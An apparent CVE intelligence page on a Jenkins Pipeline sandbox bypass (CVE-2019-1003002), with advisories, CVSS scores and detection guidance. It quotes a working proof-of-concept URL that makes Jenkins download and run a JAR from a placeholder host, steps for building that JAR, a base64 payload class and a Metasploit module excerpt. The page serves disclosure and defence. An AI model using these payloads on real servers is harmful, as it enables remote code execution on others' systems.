CVE-2019-1003002
published 2019-01-22CVE-2019-1003002: A sandbox bypass vulnerability exists in Pipeline: Declarative Plugin 1.3.3 and earlier in pipeline-model-definition/src/main/groovy/org/jenkinsci/plugins/pipel…
PriorityP279high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
81.55%
99.6th percentile
A sandbox bypass vulnerability exists in Pipeline: Declarative Plugin 1.3.3 and earlier in pipeline-model-definition/src/main/groovy/org/jenkinsci/plugins/pipeline/modeldefinition/parser/Converter.groovy that allows attackers with Overall/Read permission to provide a pipeline script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jenkins | declarative_plugin | — | — |
| jenkins | groovy_plugin | — | — |
| jenkins | pipeline | <= 1.3.3 | — |
| jenkins | script_security_plugin | — | — |
| jenkins_project | pipeline_declarative_plugin | — | — |
| redhat | openshift_container_platform | — | — |
Detection & IOCsextracted from sources · hover to see the quote
urlhttp://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;↗
path/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile↗
bytes↗
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwALAAAA
- →Detect exploitation attempts by monitoring HTTP requests to the Jenkins checkScriptCompile endpoint containing @Grab, @GrabResolver, or @GrabConfig annotations in the 'value' parameter — these are the AST-transforming annotations used to trigger the sandbox bypass. ↗
- →Alert on HTTP GET/POST requests to the path pattern */descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile with query parameters containing @Grab or @GrabResolver strings. ↗
- →Monitor Jenkins master outbound HTTP connections to external hosts fetching .jar files — the exploit causes Jenkins/Groovy/Ivy to fetch a malicious JAR over plain HTTP. The JAR path follows the pattern /<vendor>/<app>/<version>/<app>-<version>.jar. ↗
- →Look for creation of files under $HOME/.groovy/grapes/ on the Jenkins master filesystem, which is where the malicious Grape/Ivy-fetched JAR artifacts are cached after exploitation. ↗
- →Inspect JAR files served to Jenkins for the presence of META-INF/services/org.codehaus.groovy.plugins.Runners — this service-loader file is the mechanism used to execute the malicious payload class. ↗
- →The Metasploit module uses the X-Jenkins response header to fingerprint the target version; defenders can use the presence of this header combined with version <= 2.137 as a signal that the host may be targeted. ↗
- ·Both the pipeline validation REST APIs AND actual script/pipeline execution are affected — patching must cover both code paths, not just the UI validation endpoint. ↗
- ·The vulnerability is exploitable by users with only Overall/Read permission, meaning it is not limited to administrators or users with job-creation rights. ↗
- ·The Metasploit module deliberately avoids randomizing the username segment ('admin') in the ACL bypass path due to a separate known issue (CVE-2018-1000408); detection rules should not rely on a variable username in that path segment. ↗
- ·The exploit's HTTP file server responds with a bogus text response to any URI that does not match the exact payload JAR path, and returns 404 for HEAD requests to non-payload URIs — network-level detection should focus on the specific JAR fetch pattern, not generic HTTP traffic. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Jenkins Pipeline Declarative Plugin sandbox bypass vulnerability
ghsa·2022-05-13
CVE-2019-1003002 [HIGH] Jenkins Pipeline Declarative Plugin sandbox bypass vulnerability
Jenkins Pipeline Declarative Plugin sandbox bypass vulnerability
Jenkins Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as `@Grab` to source code elements.
Both the pipeline validation REST APIs and actual script/pipeline execution are affected.
This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.
All known unsafe AST transformations in Groovy are now prohibited in sandboxed scripts.
OSV
Jenkins Pipeline Declarative Plugin sandbox bypass vulnerability
osv·2022-05-13
CVE-2019-1003002 [HIGH] Jenkins Pipeline Declarative Plugin sandbox bypass vulnerability
Jenkins Pipeline Declarative Plugin sandbox bypass vulnerability
Jenkins Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as `@Grab` to source code elements.
Both the pipeline validation REST APIs and actual script/pipeline execution are affected.
This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.
All known unsafe AST transformations in Groovy are now prohibited in sandboxed scripts.
Jenkins
Jenkins Security Advisory 2019-01-08
vendor_jenkins·2019-01-08·CVSS 8.8
CVE-2019-1003000 [HIGH] Jenkins Security Advisory 2019-01-08
Title: Jenkins Security Advisory 2019-01-08
Jenkins Security Advisory 2019-01-08
Jenkins Security Home
For Administrators
Overview
Terminology
Vulnerabilities and Scoring
Security Advisories
Security Issues
Advisory Schedule
Vulnerabilities in Plugins
How We Fix Security Issues
For Reporters
Reporting Vulnerabilities
Jenkins CNA
For Maintainers
Overview
Vulnerabilities in Plugins
Jenkins Security Team
About
Contributions
This advisory announces vulnerabilities in the following Jenkins deliverables:
Pipeline: Declarative
Plugin
Pipeline: Groovy
Plugin
Script Security
Plugin
Descriptions
Sandbox Bypass in Script Security and Pipeline Plugins
SECURITY-1266
/
CVE-2019-1003000 (
Red Hat
jenkins-plugin-pipeline-model-definition: Sandbox Bypass in Pipeline: Declarative
vendor_redhat·2019-01-08·CVSS 8.8
CVE-2019-1003002 [HIGH] CWE-96 jenkins-plugin-pipeline-model-definition: Sandbox Bypass in Pipeline: Declarative
jenkins-plugin-pipeline-model-definition: Sandbox Bypass in Pipeline: Declarative
A sandbox bypass vulnerability exists in Pipeline: Declarative Plugin 1.3.3 and earlier in pipeline-model-definition/src/main/groovy/org/jenkinsci/plugins/pipeline/modeldefinition/parser/Converter.groovy that allows attackers with Overall/Read permission to provide a pipeline script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.
A flaw was found in Jenkins Pipeline. Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements. This allows users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SC
No detection rules found.
Exploit-DB
Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
exploitdb·2019-03-19
CVE-2019-1003002 Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.
The ACL bypass gadget is specific to Jenkins [
'Orange Tsai', # Discovery and PoC
'wvu' # Metasploit module
],
'References' => [
['CVE', '2019-1003000'], # Script Security
['CVE', '2019-1003001'], # Pipeline: Groovy
['CVE', '2019-1003002'], # Pipeline: Declarative
['EDB',
Exploit-DB
Jenkins Plugin Script Security < 1.50/Declarative < 1.3.4.1/Groovy < 2.61.1 - Remote Code Execution (PoC)
exploitdb·2019-02-19
CVE-2019-1003002 Jenkins Plugin Script Security < 1.50/Declarative < 1.3.4.1/Groovy < 2.61.1 - Remote Code Execution (PoC)
Jenkins Plugin Script Security META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...
PoC:
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
Metasploit
Jenkins ACL Bypass and Metaprogramming RCE
metasploit
Jenkins ACL Bypass and Metaprogramming RCE
Jenkins ACL Bypass and Metaprogramming RCE
This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. When the "Java Dropper" target is selected, the original entry point based on classLoader.parseClass is used, which requires the use of Groovy metaprogramming to achieve RCE. When the "Unix In-Memory" target is selected, a newer, higher-level, and more universal entry point based on GroovyShell.parse is used. This permits the use of in-memory arbitrary command execution. The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
http://packetstormsecurity.com/files/152132/Jenkins-ACL-Bypass-Metaprogramming-Remote-Code-Execution.htmlhttp://www.rapid7.com/db/modules/exploit/multi/http/jenkins_metaprogramminghttps://access.redhat.com/errata/RHBA-2019:0326https://access.redhat.com/errata/RHBA-2019:0327https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266https://www.exploit-db.com/exploits/46572/http://packetstormsecurity.com/files/152132/Jenkins-ACL-Bypass-Metaprogramming-Remote-Code-Execution.htmlhttp://www.rapid7.com/db/modules/exploit/multi/http/jenkins_metaprogramminghttps://access.redhat.com/errata/RHBA-2019:0326https://access.redhat.com/errata/RHBA-2019:0327https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266https://www.exploit-db.com/exploits/46572/
2019-01-22
Published